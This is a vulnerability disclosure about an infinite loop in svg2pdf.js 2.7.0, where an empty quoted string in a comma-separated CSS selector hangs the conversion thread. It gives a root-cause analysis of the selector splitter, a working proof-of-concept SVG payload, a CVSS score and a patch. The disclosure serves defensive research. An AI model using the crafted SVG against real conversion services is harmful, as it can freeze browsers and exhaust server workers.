# Infinite Loop svg2pdf.js CSS Selectors: CVE Research

> svg2pdf.js 2.7.0 and earlier: an empty quoted string in a CSS selector triggers an unrecoverable infinite loop (CWE-835). Analysis, PoC and patch.

- **URL:** https://hackindex.io/research/infinite-loop-svg2pdf-selectors-unbounded-splitting
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Published:** 2026-08-25
- **Updated:** 2026-09-13

## Summary of the svg2pdf.js Infinite Loop Issue

svg2pdf.js parses every inline `<style>` element in the SVG it converts and splits any CSS selector containing a comma into its individual parts. The splitter is a hand-rolled state machine whose loop header has no increment expression, so every iteration depends on the body to advance the cursor. The quote-handling branch fails to do so when the selector contains an empty quoted string, and the loop never terminates.

A selector such as `a[href=""], b` is enough. The hang occurs inside `svg2pdf()` before any element is rendered, on the calling thread. It allocates nothing, grows no stack and throws nothing, so the calling application cannot recover with a `try`/`catch`, a Promise timeout, or any other guard.

## How the svg2pdf.js Infinite Loop Bug Works

### Every inline stylesheet is parsed unconditionally

`src/context/stylesheets.ts:43-47` collects all `<style>` and `<link>` elements in the document:

```javascript
const styleElements = this.rootSvg.querySelectorAll('style,link')
for (let i = 0; i < styleElements.length; i++) {
  const styleElement = styleElements[i]
  if (nodeIs(styleElement, 'style')) {
    sheetTexts.push(styleElement.textContent)
```

The `loadExternalStyleSheets` option gates only `<link>` elements and `xml-stylesheet` processing instructions. Inline `<style>` content is always parsed, so the default configuration is affected.

### Selectors containing a comma reach the splitter

`src/context/stylesheets.ts:77-80`:

```javascript
if (cssStyleRule.selectorText.indexOf(',') >= 0) {
  sheet.deleteRule(i)
  const body = cssStyleRule.cssText.substring(cssStyleRule.selectorText.length)
  const selectors = StyleSheets.splitSelectorAtCommas(cssStyleRule.selectorText)
```

### The loop header has no increment

`src/context/stylesheets.ts:102-134`:

```javascript
for (let i = 0; i < selectorText.length; ) {
  switch (state) {
    case 'initial':
      // ... always assigns i = initialRegex.lastIndex or i = selectorText.length
      break
    case 'withinQuotes':
      closingQuotesRegex.lastIndex = i
      match = closingQuotesRegex.exec(selectorText)
      if (match) {
        i = closingQuotesRegex.lastIndex
        state = 'initial'
      }
      // else this is a syntax error - omit the last part...
      break
  }
}
```

All forward progress depends on the body. In the `withinQuotes` branch, when `exec` returns `null`, neither `i` nor `state` is modified. The `break` exits the switch, not the loop, and the comment describes an exit condition that was never implemented. The next iteration re-enters the same branch with the same `i` and the same `state`.

### The closing-quote regex can never match an empty string

This is what makes `exec` return `null` in the first place. `src/context/stylesheets.ts:92-94`:

```javascript
const initialRegex = /,|["']/g
const closingDoubleQuotesRegex = /[^\\]["]/g
const closingSingleQuotesRegex = /[^\\][']/g
```

Both closing patterns require a character to precede the quote. The scan resumes at `i`, which the `initial` branch already advanced to just past the opening quote. For `a[href=""], b` the opening quote sits at index 7, so `i` becomes 8. Matching the closing quote at index 8 would require consuming the character at index 7, which is behind the scan position:

```javascript
const re = /[^\\]["]/g
re.lastIndex = 8
re.exec('a[href=""], b')   // null
```

No later quote exists in the string, so the pattern can never match. Any empty quoted string inside a selector that also contains a comma reaches this state.

| Selector | Iterations | Result |
| --- | --- | --- |
| `a[href=","], b` | 4 | Terminates, returns `['a[href=","]', 'b']` |
| `a[href=""], b` | Unbounded | Pinned at index 8, state `withinQuotes` |
| `[a=""],[b=""]` | Unbounded | Pinned at the first empty quoted string |

### The defect ships in the built artifact

It is not confined to the TypeScript source. From `dist/svg2pdf.umd.min.js` as published in 2.7.0:

```javascript
case"withinQuotes":l.lastIndex=u,(e=l.exec(t))&&(u=l.lastIndex,s="initial")
```

The minified loop header is `u=0;u<t.length;`, again with no increment, and the branch leaves `u` unchanged when `l.exec(t)` returns `null`.

`splitSelectorAtCommas` is called from `parseCssSheets`, which is called from `StyleSheets.load`, which `svg2pdf()` awaits at `src/svg2pdf.ts:25` ,  before the document is parsed into nodes and before anything is rendered.

## Proof of Concept

**Requirements:** svg2pdf.js 2.7.0 and any jsPDF 3.x build. The payload is a single CSS rule inside the SVG.

```html
<!doctype html>
<script src="https://unpkg.com/jspdf@3/dist/jspdf.umd.js"></script>
<script src="https://unpkg.com/svg2pdf.js@2.7.0/dist/svg2pdf.umd.js"></script>
<script>
  const svg = `<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
    <style>a[href=""], b { fill: red }</style>
    <rect width="100" height="100"/>
  </svg>`
  const element = new DOMParser()
    .parseFromString(svg, 'image/svg+xml').firstElementChild
  const pdf = new jspdf.jsPDF('p', 'pt', [100, 100])
  setTimeout(() => console.log('this timer never fires'), 0)
  pdf.svg(element).then(() => console.log('this line is never reached'))
</script>
```

The tab stops responding. Neither the timer nor the `then` callback runs. Wrapping the call in `try`/`catch` or racing it against a timeout does not help, because the thread never yields and no exception is thrown.

To observe the loop without freezing a browser, run the shipped splitter in isolation with an iteration cap. The body below is copied verbatim from `dist/svg2pdf.umd.min.js`:

```javascript
function split(t, cap) {
  for (var e, r = /,|["']/g, i = /[^\\]["]/g, n = /[^\\][']/g, a = [],
           s = "initial", o = -1, l = i, u = 0, c = 0; u < t.length; ) {
    if (++c > cap) return { terminated: false, iterations: c, index: u, state: s }
    switch (s) {
      case "initial":
        r.lastIndex = u, (e = r.exec(t))
          ? ("," === e[0]
              ? (a.push(t.substring(o + 1, r.lastIndex - 1).trim()), o = r.lastIndex - 1)
              : (s = "withinQuotes", l = '"' === e[0] ? i : n), u = r.lastIndex)
          : (a.push(t.substring(o + 1).trim()), u = t.length)
        break
      case "withinQuotes":
        l.lastIndex = u, (e = l.exec(t)) && (u = l.lastIndex, s = "initial")
    }
  }
  return { terminated: true, iterations: c, parts: a }
}

console.log(split('a[href=","], b', 1e6))
console.log(split('a[href=""], b', 1e6))
```

Output:

```
{ terminated: true, iterations: 4, parts: [ 'a[href=","]', 'b' ] }
{ terminated: false, iterations: 1000001, index: 8, state: 'withinQuotes' }
```

A non-empty quoted value completes in four iterations. An empty one is still pinned at index 8 in state `withinQuotes` after one million iterations, and remains there indefinitely.

## Impact

Denial of service against applications that convert SVG influenced by a party other than the operator ,  for example a service that renders user-supplied SVG to PDF. Where the same party authors the SVG and runs the conversion, there is no attacker and no impact.

In an affected deployment the attacker needs no account and no privileges, only the ability to get a crafted `<style>` rule into the converted SVG.

The loop is unrecoverable rather than merely disruptive. It performs no allocation, grows no stack, throws nothing, and never yields the thread, so it cannot be caught, timed out, or detected by a watchdog in the calling code. In a browser the tab becomes permanently unresponsive and must be closed, losing any unsaved application state. In an automated conversion pipeline running the library under a headless browser or a DOM emulation layer, the affected worker pins a CPU core indefinitely and must be killed externally. A small number of malicious documents is enough to exhaust the pool.

The payload is 30 bytes of CSS in a document that is otherwise a valid, innocuous SVG, and it triggers before any rendering occurs. Inspecting or sanitizing the drawable content of the document does not mitigate it.

## Severity Assessment

**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High)**

Availability is fully lost for the affected process and cannot be restored from within the application. Confidentiality and integrity are unaffected.

Base metrics are constant across user environments, and the CVSS v3.1 User Guide directs scoring for the reasonable worst-case implementation scenario where the integration is unknown ,  the situation for any library. In deployments where the operator authors the SVG, the vulnerability is not applicable rather than lower severity.

The triggering selector is valid CSS that the CSSOM parses and returns normally, so the hang is reachable in hand-authored SVG as well as attacker-supplied SVG.

## Fix for the svg2pdf.js Infinite Loop Issue

Three changes, in order of necessity.

**Guarantee forward progress.** In the `withinQuotes` branch, when the closing-quote pattern does not match, implement the exit the existing comment already describes:

```javascript
case 'withinQuotes':
  closingQuotesRegex.lastIndex = i
  match = closingQuotesRegex.exec(selectorText)
  if (match) {
    i = closingQuotesRegex.lastIndex
    state = 'initial'
  } else {
    // syntax error - omit the last part
    i = selectorText.length
  }
  break
```

**Fix the closing-quote patterns** so an empty quoted string is matched at all:

```javascript
const closingDoubleQuotesRegex = /\\[\s\S]|"/g
const closingSingleQuotesRegex = /\\[\s\S]|'/g
```

These match either an escape sequence or the quote itself, without requiring a preceding character.

**Bound the loop as defense in depth.** Give the loop an unconditional increment or an iteration cap, so that any future state that fails to advance terminates instead of hanging the thread.
